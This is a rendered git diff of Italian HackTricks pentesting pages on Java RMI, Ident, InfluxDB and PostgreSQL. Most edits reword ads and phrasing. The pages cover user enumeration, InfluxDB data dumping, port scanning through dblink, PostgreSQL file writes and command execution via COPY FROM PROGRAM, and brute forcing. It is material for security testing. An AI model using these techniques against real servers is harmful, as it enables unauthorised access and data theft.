[remote-method-guesser](https://github.com/qtc-de/remote-method-guesser) contrassegna le classi o interfacce come `conosciute` se sono elencate nel database interno dello strumento dei servizi _RMI_ conosciuti. In questi casi puoi utilizzare l'azione `conosciuta` per ottenere ulteriori informazioni sul corrispondente servizio _RMI_: [remote-method-guesser](https://github.com/qtc-de/remote-method-guesser) contrassegna le classi o interfacce come `conosciute` se sono elencate nel database interno dello strumento dei servizi _RMI_ conosciuti. In questi casi puoi utilizzare l'azione `conosciuta` per ottenere ulteriori informazioni sul servizio _RMI_ corrispondente:
``` ```
$ rmg enum 172.17.0.2 1090 | head -n 5 $ rmg enum 172.17.0.2 1090 | head -n 5
[+] RMI registry bound names: [+] RMI registry bound names:
@ -316,21 +316,21 @@ Command: rmg enum {IP} {PORT}
<figure><img src="../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure> <figure><img src="../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
\ \
Usa [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) per creare facilmente e **automatizzare flussi di lavoro** supportati dagli strumenti della community **più avanzati al mondo**.\ Utilizza [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=1099-pentesting-java-rmi) per creare facilmente e **automatizzare flussi di lavoro** supportati dagli strumenti della community **più avanzati al mondo**.\
Ottieni l'accesso oggi: Ottieni l'accesso oggi:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} {% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=1099-pentesting-java-rmi" %}
<details> <details>
<summary><strong>Impara l'hacking su AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Esperto Red Team AWS di HackTricks)</strong></a><strong>!</strong></summary> <summary><strong>Impara l'hacking su AWS da zero a esperto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Altri modi per supportare HackTricks: Altri modi per supportare HackTricks:
* Se vuoi vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)! * Se desideri vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF** controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com) * Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
* Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione esclusiva di [**NFT**](https://opensea.io/collection/the-peass-family) * Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione esclusiva di [**NFT**](https://opensea.io/collection/the-peass-family)
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** * **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. * **Condividi i tuoi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repository di Github.
</details> </details>

View file

@ -10,22 +10,22 @@ Altri modi per supportare HackTricks:
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com) * Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
* Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family) * Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family)
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** * **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos di github. * **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details> </details>
<figure><img src="../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure> <figure><img src="../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
Usa [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) per creare e **automatizzare facilmente flussi di lavoro** supportati dagli strumenti della comunità **più avanzati al mondo**.\ Usa [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=113-pentesting-ident) per creare e **automatizzare facilmente flussi di lavoro** supportati dagli strumenti **comunitari più avanzati** al mondo.\
Ottieni l'accesso oggi: Ottieni l'accesso oggi:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} {% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=113-pentesting-ident" %}
## Informazioni di Base ## Informazioni di Base
Il **Protocollo Ident** viene utilizzato su **Internet** per associare una **connessione TCP** a un utente specifico. Originariamente progettato per aiutare nella **gestione della rete** e nella **sicurezza**, opera consentendo a un server di interrogare un client sulla porta 113 per richiedere informazioni sull'utente di una particolare connessione TCP. Il **Protocollo Ident** viene utilizzato su **Internet** per associare una **connessione TCP** a un utente specifico. Originariamente progettato per aiutare nella **gestione di rete** e **sicurezza**, funziona consentendo a un server di interrogare un client sulla porta 113 per richiedere informazioni sull'utente di una particolare connessione TCP.
Tuttavia, a causa delle moderne preoccupazioni sulla privacy e del potenziale abuso, il suo utilizzo è diminuito poiché p rivelare involontariamente informazioni sull'utente a parti non autorizzate. Sono raccomandate misure di sicurezza avanzate, come connessioni crittografate e controlli di accesso rigorosi, per mitigare questi rischi. Tuttavia, a causa delle moderne preoccupazioni sulla privacy e del potenziale abuso, il suo utilizzo è diminuito poiché potrebbe rivelare involontariamente informazioni sull'utente a parti non autorizzate. Sono raccomandate misure di sicurezza avanzate, come connessioni crittografate e controlli di accesso rigorosi, per mitigare questi rischi.
**Porta predefinita:** 113 **Porta predefinita:** 113
``` ```
@ -67,7 +67,7 @@ PORT STATE SERVICE VERSION
``` ```
### Ident-user-enum ### Ident-user-enum
[**Ident-user-enum**](https://github.com/pentestmonkey/ident-user-enum) è uno script PERL semplice per interrogare il servizio ident (113/TCP) al fine di determinare il proprietario del processo in ascolto su ciascuna porta TCP di un sistema di destinazione. L'elenco degli username raccolti può essere utilizzato per attacchi di guessing delle password su altri servizi di rete. Può essere installato con `apt install ident-user-enum`. [**Ident-user-enum**](https://github.com/pentestmonkey/ident-user-enum) è uno script PERL semplice per interrogare il servizio ident (113/TCP) al fine di determinare il proprietario del processo in ascolto su ciascuna porta TCP di un sistema target. L'elenco degli username raccolti può essere utilizzato per attacchi di guessing delle password su altri servizi di rete. Può essere installato con `apt install ident-user-enum`.
``` ```
root@kali:/opt/local/recon/192.168.1.100# ident-user-enum 192.168.1.100 22 113 139 445 root@kali:/opt/local/recon/192.168.1.100# ident-user-enum 192.168.1.100 22 113 139 445
ident-user-enum v1.0 ( http://pentestmonkey.net/tools/ident-user-enum ) ident-user-enum v1.0 ( http://pentestmonkey.net/tools/ident-user-enum )
@ -87,10 +87,10 @@ identd.conf
<figure><img src="../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure> <figure><img src="../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
Utilizza [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) per creare facilmente e **automatizzare flussi di lavoro** supportati dagli strumenti della comunità **più avanzati** al mondo.\ Utilizza [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=113-pentesting-ident) per creare facilmente e **automatizzare flussi di lavoro** supportati dagli strumenti della comunità **più avanzati al mondo**.\
Ottieni l'accesso oggi: Ottieni l'accesso oggi:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} {% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=113-pentesting-ident" %}
## Comandi Automatici di HackTricks ## Comandi Automatici di HackTricks
``` ```
@ -119,7 +119,7 @@ Altri modi per supportare HackTricks:
* Se desideri vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)! * Se desideri vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com) * Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
* Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione di esclusive [**NFT**](https://opensea.io/collection/the-peass-family) * Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family)
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** * **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos di github. * **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos di github.

View file

@ -3,18 +3,18 @@
<figure><img src="../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure> <figure><img src="../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
\ \
Usa [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) per creare facilmente e **automatizzare flussi di lavoro** supportati dagli strumenti della community più avanzati al mondo.\ Usa [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=8086-pentesting-influxdb) per creare e **automatizzare facilmente flussi di lavoro** supportati dagli strumenti della community più avanzati al mondo.\
Ottieni l'accesso oggi: Ottieni l'accesso oggi:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} {% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=8086-pentesting-influxdb" %}
<details> <details>
<summary><strong>Impara l'hacking di AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Esperto Red Team AWS di HackTricks)</strong></a><strong>!</strong></summary> <summary><strong>Impara l'hacking su AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Esperto Red Team AWS di HackTricks)</strong></a><strong>!</strong></summary>
Altri modi per supportare HackTricks: Altri modi per supportare HackTricks:
* Se vuoi vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF** controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)! * Se desideri vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com) * Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
* Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione esclusiva di [**NFT**](https://opensea.io/collection/the-peass-family) * Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione esclusiva di [**NFT**](https://opensea.io/collection/the-peass-family)
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** * **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
@ -24,7 +24,7 @@ Altri modi per supportare HackTricks:
## Informazioni di base ## Informazioni di base
**InfluxDB** è un database **time series (TSDB)** open-source sviluppato da InfluxData. I TSDB sono ottimizzati per memorizzare e servire dati time series, che consistono in coppie timestamp-valore. Rispetto ai database ad uso generale, i TSDB offrono significativi miglioramenti nello **spazio di archiviazione** e nelle **prestazioni** per i dataset time series. Utilizzano algoritmi di compressione specializzati e possono essere configurati per rimuovere automaticamente i dati vecchi. Gli indici del database specializzati migliorano anche le prestazioni delle query. **InfluxDB** è un database **time series (TSDB)** open-source sviluppato da InfluxData. I TSDB sono ottimizzati per memorizzare e servire dati di serie temporali, che consistono in coppie timestamp-valore. Rispetto ai database ad uso generale, i TSDB offrono significativi miglioramenti nello **spazio di archiviazione** e nelle **prestazioni** per i dataset di serie temporali. Utilizzano algoritmi di compressione specializzati e possono essere configurati per rimuovere automaticamente i dati vecchi. Gli indici del database specializzati migliorano anche le prestazioni delle query.
**Porta predefinita**: 8086 **Porta predefinita**: 8086
``` ```
@ -55,7 +55,7 @@ Le informazioni di questo esempio sono state prese da [**qui**](https://oznetner
#### Mostra database #### Mostra database
I database trovati sono `telegraf` e `internal` (troverai questo ovunque) I database trovati sono `telegraf` e `internal` (questo lo troverai ovunque)
```bash ```bash
> show databases > show databases
name: databases name: databases
@ -116,7 +116,7 @@ time cpu host usage_guest usage_guest_nice usage_idle
1497018760000000000 cpu1 ubuntu 0 0 99.69909729188728 0 0 0 0 0 0.20060180541622202 0.10030090270811101 1497018760000000000 cpu1 ubuntu 0 0 99.69909729188728 0 0 0 0 0 0.20060180541622202 0.10030090270811101
``` ```
{% hint style="warning" %} {% hint style="warning" %}
Durante alcuni test con il bypass dell'autenticazione è stato notato che il nome della tabella doveva essere racchiuso tra doppi apici come: `select * from "cpu"` Durante alcuni test con il bypass dell'autenticazione è stato notato che il nome della tabella doveva essere tra virgolette doppie come: `select * from "cpu"`
{% endhint %} {% endhint %}
### Autenticazione automatizzata ### Autenticazione automatizzata
@ -129,7 +129,7 @@ msf6 > use auxiliary/scanner/http/influxdb_enum
Altri modi per supportare HackTricks: Altri modi per supportare HackTricks:
* Se vuoi vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)! * Se desideri vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com) * Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
* Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family) * Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family)
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** * **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
@ -140,7 +140,7 @@ Altri modi per supportare HackTricks:
<figure><img src="../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure> <figure><img src="../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
\ \
Utilizza [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) per creare e **automatizzare flussi di lavoro** alimentati dagli strumenti comunitari **più avanzati** al mondo.\ Utilizza [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=8086-pentesting-influxdb) per creare e **automatizzare facilmente flussi di lavoro** supportati dagli strumenti comunitari **più avanzati al mondo**.\
Ottieni l'accesso oggi: Ottieni l'accesso oggi:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} {% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=8086-pentesting-influxdb" %}

View file

@ -3,10 +3,10 @@
<figure><img src="../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure> <figure><img src="../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
\ \
Usa [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) per creare facilmente e **automatizzare flussi di lavoro** supportati dagli strumenti della comunità più avanzati al mondo.\ Usa [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=pentesting-postgresql) per creare facilmente e **automatizzare flussi di lavoro** supportati dagli strumenti della comunità **più avanzati** al mondo.\
Ottieni l'accesso oggi: Ottieni l'accesso oggi:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} {% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=pentesting-postgresql" %}
<details> <details>
@ -14,10 +14,10 @@ Ottieni l'accesso oggi:
Altri modi per supportare HackTricks: Altri modi per supportare HackTricks:
* Se vuoi vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)! * Se desideri vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com) * Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
* Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione esclusiva di [**NFT**](https://opensea.io/collection/the-peass-family) * Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family)
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** * **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. * **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details> </details>
@ -90,7 +90,7 @@ msf> use auxiliary/scanner/postgres/postgres_dbname_flag_injection
### **Scansione delle porte** ### **Scansione delle porte**
Secondo [**questa ricerca**](https://www.exploit-db.com/papers/13084), quando un tentativo di connessione fallisce, `dblink` genera un'eccezione `sqlclient_unable_to_establish_sqlconnection` che include una spiegazione dell'errore. Di seguito sono elencati alcuni esempi di questi dettagli. Secondo [**questa ricerca**](https://www.exploit-db.com/papers/13084), quando un tentativo di connessione fallisce, `dblink` genera un'eccezione `sqlclient_unable_to_establish_sqlconnection` che include una spiegazione dell'errore. Di seguito sono elencati esempi di questi dettagli.
```sql ```sql
SELECT * FROM dblink_connect('host=1.2.3.4 SELECT * FROM dblink_connect('host=1.2.3.4
port=5678 port=5678
@ -99,11 +99,11 @@ password=secret
dbname=abc dbname=abc
connect_timeout=10'); connect_timeout=10');
``` ```
* **Host non disponibile** * Host non disponibile
```DETAIL: impossibile connettersi al server: Nessuna route per l'host Il server è in esecuzione sull'host "1.2.3.4" e accetta connessioni TCP/IP sulla porta 5678?``` ```DETAIL: impossibile connettersi al server: Nessuna route per l'host Il server è in esecuzione sull'host "1.2.3.4" e accetta connessioni TCP/IP sulla porta 5678?```
* **Porta chiusa** * Porta chiusa
``` ```
DETAIL: could not connect to server: Connection refused Is the server DETAIL: could not connect to server: Connection refused Is the server
running on host "1.2.3.4" and accepting TCP/IP connections on port 5678? running on host "1.2.3.4" and accepting TCP/IP connections on port 5678?
@ -118,27 +118,23 @@ the server terminated abnormally before or while processing the request
#### Enumeration #### Enumeration
During the enumeration phase, you can use tools like `nmap` to discover PostgreSQL services running on the target system: During the enumeration phase, you can use tools like `nmap` to discover PostgreSQL services running on the target system.
```bash #### Default Credentials
nmap -sV -p 5432 <target_ip>
``` Always try default credentials like `postgres:postgres` when attempting to log in to the PostgreSQL database.
#### Brute Forcing #### Brute Forcing
You can use tools like `Hydra` to perform brute force attacks against PostgreSQL servers: You can use tools like `Hydra` or `Metasploit` to perform brute force attacks against the PostgreSQL database.
```bash
hydra -L users.txt -P passwords.txt postgres://<target_ip>
```
#### Exploitation #### Exploitation
One common exploitation technique is to exploit weak credentials to gain unauthorized access to the PostgreSQL database. Look for known vulnerabilities in the PostgreSQL version running on the target system. Exploit frameworks like `Metasploit` can be helpful in this phase.
#### Post-Exploitation #### Post-Exploitation
After gaining access to the database, you can perform various post-exploitation activities such as exfiltrating sensitive data or creating backdoors for future access. After gaining access to the PostgreSQL database, you can extract sensitive information, escalate privileges, or even drop a shell for further access.
``` ```
``` ```
DETAIL: FATAL: password authentication failed for user "name" DETAIL: FATAL: password authentication failed for user "name"
@ -148,7 +144,7 @@ DETAIL: FATAL: password authentication failed for user "name"
DETAIL: could not connect to server: Connection timed out Is the server DETAIL: could not connect to server: Connection timed out Is the server
running on host "1.2.3.4" and accepting TCP/IP connections on port 5678? running on host "1.2.3.4" and accepting TCP/IP connections on port 5678?
``` ```
Nelle funzioni PL/pgSQL, attualmente non è possibile ottenere i dettagli delle eccezioni. Tuttavia, se si ha accesso diretto al server PostgreSQL, è possibile recuperare le informazioni necessarie. Se l'estrazione di nomi utente e password dalle tabelle di sistema non è fattibile, si potrebbe considerare l'utilizzo del metodo di attacco con lista di parole discusso nella sezione precedente, poiché potrebbe potenzialmente produrre risultati positivi. In PL/pgSQL functions, it is currently not possible to obtain exception details. However, if you have direct access to the PostgreSQL server, you can retrieve the necessary information. If extracting usernames and passwords from the system tables is not feasible, you may consider utilizing the wordlist attack method discussed in the preceding section, as it could potentially yield positive results.
## Enumerazione dei Privilegi ## Enumerazione dei Privilegi
@ -165,8 +161,8 @@ Nelle funzioni PL/pgSQL, attualmente non è possibile ottenere i dettagli delle
| rolconnlimit | Per i ruoli che possono effettuare il login, imposta il numero massimo di connessioni simultanee che questo ruolo può effettuare. -1 significa nessun limite. | | rolconnlimit | Per i ruoli che possono effettuare il login, imposta il numero massimo di connessioni simultanee che questo ruolo può effettuare. -1 significa nessun limite. |
| rolpassword | Non la password (viene sempre visualizzata come `********`) | | rolpassword | Non la password (viene sempre visualizzata come `********`) |
| rolvaliduntil | Ora di scadenza della password (utilizzata solo per l'autenticazione tramite password); nullo se non scade | | rolvaliduntil | Ora di scadenza della password (utilizzata solo per l'autenticazione tramite password); nullo se non scade |
| rolbypassrls | Il ruolo ignora ogni criterio di sicurezza a livello di riga, vedere [Sezione 5.8](https://www.postgresql.org/docs/current/ddl-rowsecurity.html) per ulteriori informazioni. | | rolbypassrls | Il ruolo ignora ogni criterio di sicurezza a livello di riga, vedi [Sezione 5.8](https://www.postgresql.org/docs/current/ddl-rowsecurity.html) per ulteriori informazioni. |
| rolconfig | Impostazioni predefinite del ruolo per le variabili di configurazione in esecuzione | | rolconfig | Impostazioni predefinite del ruolo per le variabili di configurazione in esecuzione |
| oid | ID del ruolo | | oid | ID del ruolo |
#### Gruppi Interessanti #### Gruppi Interessanti
@ -176,7 +172,7 @@ Nelle funzioni PL/pgSQL, attualmente non è possibile ottenere i dettagli delle
* Se sei membro di **`pg_write_server_files`** puoi **scrivere** file * Se sei membro di **`pg_write_server_files`** puoi **scrivere** file
{% hint style="info" %} {% hint style="info" %}
Nota che in Postgres un **utente**, un **gruppo** e un **ruolo** sono la **stessa cosa**. Dipende solo da **come lo si utilizza** e se si **permette il login**. Nota che in Postgres un **utente**, un **gruppo** e un **ruolo** sono la **stessa cosa**. Dipende solo da **come lo usi** e se **permetti il login**.
{% endhint %} {% endhint %}
```sql ```sql
# Get users roles # Get users roles
@ -255,7 +251,7 @@ ORDER BY routines.routine_name, parameters.ordinal_position;
# Another aparent option # Another aparent option
SELECT * FROM pg_proc; SELECT * FROM pg_proc;
``` ```
## Azioni del file system ## Azioni sul file system
### Leggere directory e file ### Leggere directory e file
@ -318,7 +314,7 @@ GRANT pg_write_server_files TO username;
[**Maggiori informazioni.**](pentesting-postgresql.md#privilege-escalation-with-createrole) [**Maggiori informazioni.**](pentesting-postgresql.md#privilege-escalation-with-createrole)
{% endhint %} {% endhint %}
Ricorda che COPY non può gestire i caratteri di nuova riga, quindi anche se stai utilizzando un payload base64 **devi inviare un comando su una sola riga**.\ Ricorda che COPY non può gestire i caratteri di nuova riga, quindi anche se stai utilizzando un payload base64 **devi inviare un comando su una riga sola**.\
Una limitazione molto importante di questa tecnica è che **`copy` non può essere utilizzato per scrivere file binari in quanto modifica alcuni valori binari.** Una limitazione molto importante di questa tecnica è che **`copy` non può essere utilizzato per scrivere file binari in quanto modifica alcuni valori binari.**
### **Caricamento di file binari** ### **Caricamento di file binari**
@ -387,7 +383,7 @@ WHERE pg_class.relname = '{NOME_TABELLA}';
python3 postgresql_filenode_editor.py -f {FILENODE} --datatype-csv {DATI_TIPO_CSV_DA_PASSO_4} -m update -p 0 -i ITEM_ID --csv-data {DATI_CSV} python3 postgresql_filenode_editor.py -f {FILENODE} --datatype-csv {DATI_TIPO_CSV_DA_PASSO_4} -m update -p 0 -i ITEM_ID --csv-data {DATI_CSV}
``` ```
![Demo PostgreSQL Filenode Editor](https://raw.githubusercontent.com/adeadfed/postgresql-filenode-editor/main/demo/demo_datatype.gif) ![Demo del PostgreSQL Filenode Editor](https://raw.githubusercontent.com/adeadfed/postgresql-filenode-editor/main/demo/demo_datatype.gif)
6. Carica nuovamente il filenode modificato tramite le funzioni `lo_*`, e sovrascrivi il file originale sul disco 6. Carica nuovamente il filenode modificato tramite le funzioni `lo_*`, e sovrascrivi il file originale sul disco
```sql ```sql
@ -433,7 +429,7 @@ GRANT pg_execute_server_program TO username;
{% endhint %} {% endhint %}
Oppure utilizzare il modulo `multi/postgres/postgres_copy_from_program_cmd_exec` da **metasploit**.\ Oppure utilizzare il modulo `multi/postgres/postgres_copy_from_program_cmd_exec` da **metasploit**.\
Ulteriori informazioni su questa vulnerabilità [**qui**](https://medium.com/greenwolf-security/authenticated-arbitrary-command-execution-on-postgresql-9-3-latest-cd18945914d5). Mentre segnalato come CVE-2019-9193, Postges ha dichiarato che si tratta di una [funzionalità e non sarà corretto](https://www.postgresql.org/about/news/cve-2019-9193-not-a-security-vulnerability-1935/). Ulteriori informazioni su questa vulnerabilità [**qui**](https://medium.com/greenwolf-security/authenticated-arbitrary-command-execution-on-postgresql-9-3-latest-cd18945914d5). Sebbene segnalato come CVE-2019-9193, Postges ha dichiarato che si tratta di una [funzionalità e non sarà corretto](https://www.postgresql.org/about/news/cve-2019-9193-not-a-security-vulnerability-1935/).
### RCE con Linguaggi PostgreSQL ### RCE con Linguaggi PostgreSQL
@ -441,7 +437,7 @@ Ulteriori informazioni su questa vulnerabilità [**qui**](https://medium.com/gre
